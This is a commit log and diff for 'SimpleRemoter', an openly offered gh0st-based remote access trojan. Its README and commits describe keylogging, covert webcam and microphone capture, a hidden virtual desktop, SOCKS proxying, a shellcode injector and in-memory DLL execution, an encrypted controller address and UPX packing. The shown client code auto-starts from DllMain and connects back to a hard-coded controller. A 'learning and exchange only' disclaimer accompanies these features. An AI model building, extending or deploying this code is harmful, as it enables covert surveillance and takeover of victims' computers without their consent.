33 Commits

Author SHA1 Message Date
yuanyuanxiang
6b7a83a599 Release v1.1.0 2025-06-01 09:42:41 +02:00
yuanyuanxiang
444de50651 feat: Support virtual remote desktop monitoring 2025-05-31 11:04:30 +02:00
yuanyuanxiang
1e0cfe85b8 Reserve for running customized module in future 2025-05-31 11:04:30 +02:00
yuanyuanxiang
e54a5656b7 Merge pull request #103 from yuanyuanxiang/dev
feature: Add command to execute DLL
2025-05-29 14:24:22 +02:00
yuanyuanxiang
62b8f65f88 feature: Add command to execute DLL 2025-05-29 20:20:40 +08:00
yuanyuanxiang
d34e4ba6c4 Merge pull request #102 from yuanyuanxiang/dev
fix: Showing the correct `MDLL` client type
2025-05-28 20:55:47 +02:00
yuanyuanxiang
35df6677aa fix: Showing the correct MDLL client type 2025-05-29 02:52:28 +08:00
yuanyuanxiang
ba6f2ccf13 Merge pull request #100 from yuanyuanxiang/dev
feature: Encrypt for server address
2025-05-26 22:21:16 +02:00
yuanyuanxiang
26470b6ad3 feature: Encrypt for server address 2025-05-27 04:15:35 +08:00
yuanyuanxiang
c1c011f33a Merge pull request #99 from yuanyuanxiang/dev
feature: Add a C program to execute shell code
2025-05-25 21:36:27 +02:00
yuanyuanxiang
2c4e8528b8 feature: Add a C program to execute shell code 2025-05-25 21:06:15 +08:00
yuanyuanxiang
19f97de19e Update ReadMe.md
Add star history graph
2025-05-17 19:38:48 +08:00
yuanyuanxiang
eaf295f0a8 Merge pull request #98 from yuanyuanxiang/dev
fix: CShellManager wait thread to exit
2025-05-11 20:11:01 +02:00
yuanyuanxiang
1592b9e33f fix: CShellManager wait thread to exit 2025-05-12 02:07:34 +08:00
yuanyuanxiang
96ccba2c78 fix: Decode buffer before write it 2025-05-10 03:30:15 +08:00
yuanyuanxiang
38dc350920 Merge pull request #96 from yuanyuanxiang/dev
Add logger.h and locker.h
2025-05-09 20:38:45 +02:00
yuanyuanxiang
82e09d945d Add logger.h and locker.h 2025-05-09 03:26:00 +08:00
yuanyuanxiang
a21706f350 Normally exit TestRun will kill injected program 2025-05-09 02:17:14 +08:00
yuanyuanxiang
501f17e023 Create FUNDING.yml 2025-05-08 17:10:09 +02:00
yuanyuanxiang
45e06c7c29 Add menus and modify list style 2025-05-07 03:55:58 +08:00
yuanyuanxiang
d0e8f03825 Ask to kill process which occupy the listening port 2025-05-04 04:05:28 +08:00
yuanyuanxiang
4662eeba70 Merge pull request #95 from yuanyuanxiang/proxy
Implement SOCKS proxy feature
2025-05-03 18:33:30 +02:00
yuanyuanxiang
a98a612226 Implement SOCKS proxy feature 2025-05-03 21:45:35 +08:00
yuanyuanxiang
7e83dbd431 Merge pull request #94 from yuanyuanxiang/dev
fix: IOCPClient clear buffer when disconnect
2025-05-03 15:35:37 +02:00
yuanyuanxiang
972c139b4d fix: IOCPClient clear buffer when disconnect 2025-05-03 20:33:40 +08:00
yuanyuanxiang
72ef443504 Security improvement and use UPX to compress master 2025-05-03 17:23:41 +08:00
yuanyuanxiang
9078f1eb10 Merge pull request #90 from yuanyuanxiang/dev
Update client building feature / All in one
2025-04-30 03:23:38 +08:00
yuanyuanxiang
e31aafcdb5 Update client building feature / All in one 2025-04-30 03:19:20 +08:00
yuanyuanxiang
8be2456b91 Merge pull request #89 from yuanyuanxiang/dev
Unify all log recording in the program
2025-04-27 04:18:11 +08:00
yuanyuanxiang
4783a43e9e Use a timer to check the trail status 2025-04-27 03:52:33 +08:00
yuanyuanxiang
685e0a1e3f Unify all log recording in the program 2025-04-27 03:22:42 +08:00
yuanyuanxiang
630f801574 Merge pull request #88 from yuanyuanxiang/dev
Implement a shell code injector
2025-04-24 21:45:09 +08:00
yuanyuanxiang
4926cdb19c Implement a shell code injector 2025-04-24 03:03:42 +08:00
106 changed files with 93887 additions and 665 deletions

4
.github/FUNDING.yml vendored Normal file
View File

@@ -0,0 +1,4 @@
# These are supported funding model platforms
github: yuanyuanxiang
ko_fi: shaunyuan

View File

@@ -8,9 +8,6 @@ EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
ProjectSection(ProjectDependencies) = postProject
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject EndProject
@@ -22,6 +19,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
使用花生壳.txt = 使用花生壳.txt 使用花生壳.txt = 使用花生壳.txt
EndProjectSection EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64 Debug|x64 = Debug|x64
@@ -62,6 +61,14 @@ Global
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64 {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32 {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32 {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.ActiveCfg = Debug|x64
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.Build.0 = Debug|x64
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.ActiveCfg = Debug|Win32
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.Build.0 = Debug|Win32
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.ActiveCfg = Release|x64
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE

View File

@@ -2,24 +2,31 @@
**原始来源:** [zibility](https://github.com/zibility/Remote) **原始来源:** [zibility](https://github.com/zibility/Remote)
**功能概述:** 基于gh0st的远程控制器实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。 **功能概述:** 基于gh0st的远程控制器实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、
注册表管理、键盘记录、SOCKS代理、虚拟桌面和执行代码等功能。
如果您热爱研究控制程序喜欢本项目请您对该项目添加星标。Fork、Watch此项目提交Issues发起Pull Request都是受欢迎的。 如果您热爱研究控制程序喜欢本项目请您对该项目添加星标。Fork、Watch此项目提交Issues发起Pull Request都是受欢迎的。
作者视业余空闲情况,将对所提问题进行修复。
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。 [![Star History Chart](https://api.star-history.com/svg?repos=yuanyuanxiang/SimpleRemoter&type=Date)](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date)
此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。 <span style="color:#FF5722; font-weight:bold;">*此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。* </span>
**起始日期**2019.1.1 **起始日期**2019.1.1
## 免责声明
本软件以“现状”提供,不附带任何保证。使用本软件的风险由用户自行承担。我们不对任何因使用本软件而引发的非法或恶意用途负责。
用户应遵守相关法律法规,并负责任地使用本软件。开发者对任何因使用本软件产生的损害不承担责任。
## 主控程序 ## 主控程序
主控程序为**YAMA.exe**是Server端Release发布版本在单台电脑只能运行一个例。 主控程序为**YAMA.exe**是Server端基于IOCP通讯支持上万主机同时在线Release发布版本在单台电脑只能运行一个例。
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。 下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
某些功能要求受控程序以管理员权限运行。 某些功能要求受控程序以管理员权限运行。
![主界面](./images/Yama.jpg) ![主界面](./images/Yama.jpg)
主界面以列表形式展示连接到本机的受控程序。 主界面以列表形式展示连接到本机的受控程序。
选中某个主机以便进行远程控制。 选中某个主机以便进行远程控制,例如修改备注、代理映射、执行代码等
![终端管理](./images/Console.jpg) ![终端管理](./images/Console.jpg)
@@ -27,17 +34,19 @@
![进程管理](./images/Process.jpg) ![进程管理](./images/Process.jpg)
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。 进程管理显示受控机器上面正在运行的进程,可对普通进程进行启停操作(无法操作高权限进程)
![窗口管理](./images/Window.jpg) ![窗口管理](./images/Window.jpg)
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。 窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作,隐藏或显示窗口
![桌面管理](./images/Remote.jpg) ![桌面管理](./images/Remote.jpg)
![桌面管理](./images/RemoteSet.jpg) ![桌面管理](./images/RemoteSet.jpg)
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数: 桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
屏幕截图方法支持GDIDXGI图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。 屏幕截图方法支持GDIDXGI或VIRTUAL图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。
值得一提的是VIRTUAL即虚拟桌面可以在被控计算机后台运行远程桌面程序对操作的流畅度进行了优化。
另外,支持上报活动窗口和检测指定软件。
![文件管理](./images/FileManage.jpg) ![文件管理](./images/FileManage.jpg)
@@ -45,19 +54,19 @@
![语音管理](./images/Voice.jpg) ![语音管理](./images/Voice.jpg)
语音管理即监听受控机器的声音,需受控机器有声音输入设备。 语音管理即监听受控机器的声音,也可以向受控计算机发送语音,需受控机器有音频设备。
![视频管理](./images/Video.jpg) ![视频管理](./images/Video.jpg)
视频管理即打受控机器的摄像头,需受控机器有摄像头。 视频管理即打受控机器的摄像头。在设置中默认勾选了检测摄像头,主机列表会显示是否有摄像头。
![服务管理](./images/Service.jpg) ![服务管理](./images/Service.jpg)
服务管理即打开受控机器上面的服务列表。 服务管理即打开受控机器上面的服务列表,如果有权限,亦可对服务进行启动、停止等操作
![注册表管理](./images/Register.jpg) ![注册表管理](./images/Register.jpg)
注册表管理即打开受控机器上面的注册表。 注册表管理即打开受控机器上面的注册表,只能查看注册表,不支持修改
## Linux 客户端 ## Linux 客户端
@@ -75,9 +84,10 @@
![PasswordGen](./images/PasswordGen.jpg) ![PasswordGen](./images/PasswordGen.jpg)
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期过期之后生成服务端需要申请"序列号" 自v1.0.8起,操作主控程序需要获得授权。给新编译的程序14天试用期过期之后生成服务端需要凭借"序列号"申请口令
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数 如果要屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数,重新编译程序,参看:
序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改 [#91](https://github.com/yuanyuanxiang/SimpleRemoter/issues/91)
“口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。
## 受控程序 ## 受控程序
![主界面](./images/TestRun.jpg) ![主界面](./images/TestRun.jpg)
@@ -134,6 +144,33 @@ Release v1.0.8:
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master; - Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory. - Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
**2025.04.30**
Release v1.0.9
- Update client building feature / All in one; The master will only accept the clients built by itself.
- Improve authorization feature.
**2025.06.01**
Release v1.1.0:
* fix: IOCPClient clear buffer when disconnect
* Implement SOCKS proxy feature
* Add menus and modify list style, add log
* feature: Add a C program to execute shell code
* feature: Encrypt for server address
* feat: Support virtual remote desktop monitoring
* feature: Add command to execute DLL
# 其他项目
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands):此远控程序界面为全英文,采用不同的架构设计。
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT): 一款功能全面的远程控制程序即大灰狼9.5.
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st): 也是一款基于Gh0st的远程控制程序。
# 沟通反馈 # 沟通反馈
QQ962914132 QQ962914132
@@ -144,6 +181,7 @@ QQ962914132
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) 欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
赞助方式 / Sponsor 赞助方式 / Sponsor该项目的研究出自技术学习和兴趣爱好,本人视业余情况不定期更新项目。
**如果该项目对你有益,请通过赞助图标对本项目进行支持。**
![Sponsor](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg) 如果你希望采用其他方式(如微信、支付宝)对本项目进行赞助,请点击
[这里](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)。

BIN
Releases/v1.0.9.7z Normal file

Binary file not shown.

BIN
Releases/v1.1.0.exe Normal file

Binary file not shown.

View File

@@ -11,7 +11,7 @@
#define CLIENT_PARALLEL_NUM 1 #define CLIENT_PARALLEL_NUM 1
// Զ<>̵<EFBFBD>ַ // Զ<>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL}; CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա. // <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
@@ -269,6 +269,23 @@ int main(int argc, const char *argv[])
} }
#else #else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param) {
do
{
TestRun(NULL, 0);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance, BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call, DWORD ul_reason_for_call,
LPVOID lpReserved LPVOID lpReserved
@@ -276,14 +293,14 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
{ {
switch (ul_reason_for_call) switch (ul_reason_for_call)
{ {
case DLL_PROCESS_ATTACH: case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{ {
g_MyApp.g_hInstance = (HINSTANCE)hInstance; g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break; break;
} }
case DLL_PROCESS_DETACH: case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break; break;
} }
return TRUE; return TRUE;
@@ -294,14 +311,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{ {
ClientApp& app(g_MyApp); ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection)); CONNECT_ADDRESS& settings(*(app.g_Connection));
app.g_bExit = S_CLIENT_NORMAL; if (app.IsThreadRun()) {
if (strlen(szServerIP)>0 && uPort>0)
{
settings.SetServer(szServerIP, uPort); settings.SetServer(szServerIP, uPort);
return;
} }
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL); HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) { if (hThread == NULL) {
app.SetThreadRun(FALSE);
return; return;
} }
#ifdef _DEBUG #ifdef _DEBUG
@@ -316,7 +336,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; } extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; } extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD> // <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; } extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }
@@ -460,7 +480,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
} }
} }
app.g_bThreadExit = false; app.SetThreadRun(TRUE);
while (app.m_bIsRunning(&app)) while (app.m_bIsRunning(&app))
{ {
ULONGLONG dwTickCount = GetTickCount64(); ULONGLONG dwTickCount = GetTickCount64();
@@ -469,12 +489,13 @@ DWORD WINAPI StartClient(LPVOID lParam)
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10)); for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
continue; continue;
} }
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
ClientObject->SendLoginInfo(login);
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance); Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
//׼<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
ClientObject->SendLoginInfo(login);
do do
{ {
Manager->SendHeartbeat(); Manager->SendHeartbeat();
@@ -493,7 +514,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Mprintf("StartClient end\n"); Mprintf("StartClient end\n");
delete ClientObject; delete ClientObject;
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
app.g_bThreadExit = true; app.SetThreadRun(FALSE);
return 0; return 0;
} }

View File

@@ -39,6 +39,7 @@ typedef struct ClientApp
g_Connection = new CONNECT_ADDRESS(*conn); g_Connection = new CONNECT_ADDRESS(*conn);
m_bIsRunning = run; m_bIsRunning = run;
m_bShared = shared; m_bShared = shared;
g_bThreadExit = TRUE;
} }
~ClientApp() { ~ClientApp() {
SAFE_DELETE(g_Connection); SAFE_DELETE(g_Connection);
@@ -62,6 +63,22 @@ typedef struct ClientApp
while (GetCount()) while (GetCount())
Sleep(50); Sleep(50);
} }
bool IsThreadRun() {
m_Locker.Lock();
BOOL n = g_bThreadExit;
m_Locker.Unlock();
return FALSE == n;
}
void SetThreadRun(BOOL run = TRUE) {
m_Locker.Lock();
g_bThreadExit = !run;
m_Locker.Unlock();
}
void SetProcessState(State state = S_CLIENT_NORMAL) {
m_Locker.Lock();
g_bExit = state;
m_Locker.Unlock();
}
}ClientApp; }ClientApp;
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);

View File

@@ -70,23 +70,23 @@
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir> <IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir> <IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir> <IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath> <LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath> <IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir> <IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -173,6 +173,8 @@
<ClCompile Include="KeyboardManager.cpp" /> <ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" /> <ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" /> <ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" /> <ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
@@ -186,7 +188,6 @@
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
@@ -199,6 +200,8 @@
<ClInclude Include="KeyboardManager.h" /> <ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" /> <ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" /> <ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" /> <ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" /> <ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" /> <ClInclude Include="resource.h" />

View File

@@ -11,9 +11,85 @@
#include "ServicesManager.h" #include "ServicesManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ProxyManager.h"
#include "KernelManager.h" #include "KernelManager.h"
#define REG_SETTINGS "Software\\ServerD11\\Settings"
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
HKEY hKey;
LONG result = RegCreateKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
NULL,
0,
KEY_WRITE,
NULL,
&hKey,
NULL
);
if (result != ERROR_SUCCESS) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
return false;
}
result = RegSetValueExA(
hKey,
keyName.c_str(),
0,
REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()),
static_cast<DWORD>(value.length() + 1)
);
RegCloseKey(hKey);
